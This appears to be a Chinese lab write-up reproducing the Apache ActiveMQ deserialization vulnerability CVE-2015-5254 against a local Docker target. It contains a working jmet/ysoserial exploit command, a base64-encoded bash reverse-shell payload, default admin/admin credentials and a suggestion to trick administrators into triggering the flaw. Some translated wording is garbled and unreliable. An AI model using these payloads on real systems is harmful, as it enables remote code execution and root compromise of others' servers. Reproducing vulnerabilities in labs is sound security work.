ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ反序列化漏洞(CVE-2015-5254)

​ Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的一种开源消息中间件,它支持Java消息服务,集群,Spring框架等。

​ Apache ActiveMQ版本5.x之前的5.13.0安全漏洞,该程序引起的漏洞并不限制可以在代理中序列化的类。远程攻击者可以使特殊的序列化Java消息服务(JMS)ObjectMessage对象利用此漏洞来执行任意代码。

运行环境后,它将在端口61616和8161上建立两个端口。端口61616是工作端口,消息在此端口上传递。端口8161是网页管理页面端口。访问http://192.168.44.132:8161,您可以看到网络管理页面,但是从理论上讲该漏洞不需要网络。

利用

漏洞利用过程如下:

  1. 生成序列化的有效负载(你可以使用ysoserial)
  2. 将有效载荷发送到端口61616
  3. 访问Web管理页面并阅读序列化消息,然后您可以触发漏洞。

为了利用此环境,我们将使用jmet(Java消息利用工具)。首先下载jmet的jar文件,并在同一目录中创建名为external的文件夹(否则可能会出现该文件夹不存在的错误)。

jmet是使用ysoserial生成并发送有效载荷(jar随ysoserial一起提供,我们不需要再次下载它),因此我们需要选择一个可以在ysoserial中用作小工具的对象,例如ROME 。

执行:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.44.132 61616

image-20210420045506964

此时,一个名为事件的队列将被添加到目标ActiveMQ。

您可以访问http://192.168.44.132:8161/admin/browse.jsp?JMSDestination=Event以查看此队列中的所有消息

登录名/密码: admin / admin):

image-20210420051032493

单击此消息以触发命令执行,

image-20210420052010390

这次进入容器docker-compose exec activemq bash

我们可以看到/ tmp / success已成功创建,表明利用成功:

image-20210420051326031

反弹shell

把反弹shell的命令进行base64编码

image-20210420055255231

把编码放进去。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

最终命令为

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.44.132 61616

image-20210420055630353

再通过管理界面单击消息以触发命令执行,成功进入root权限

image-20210420055539067

值得注意的是,通过Web管理页面访问消息并触发漏洞需要管理员特权。在没有密码的情况下,我们可以诱使管理员访问我们的链接以进行触发,或者伪装成来自其他服务的合法消息需要在触发时等待客户端访问。

0%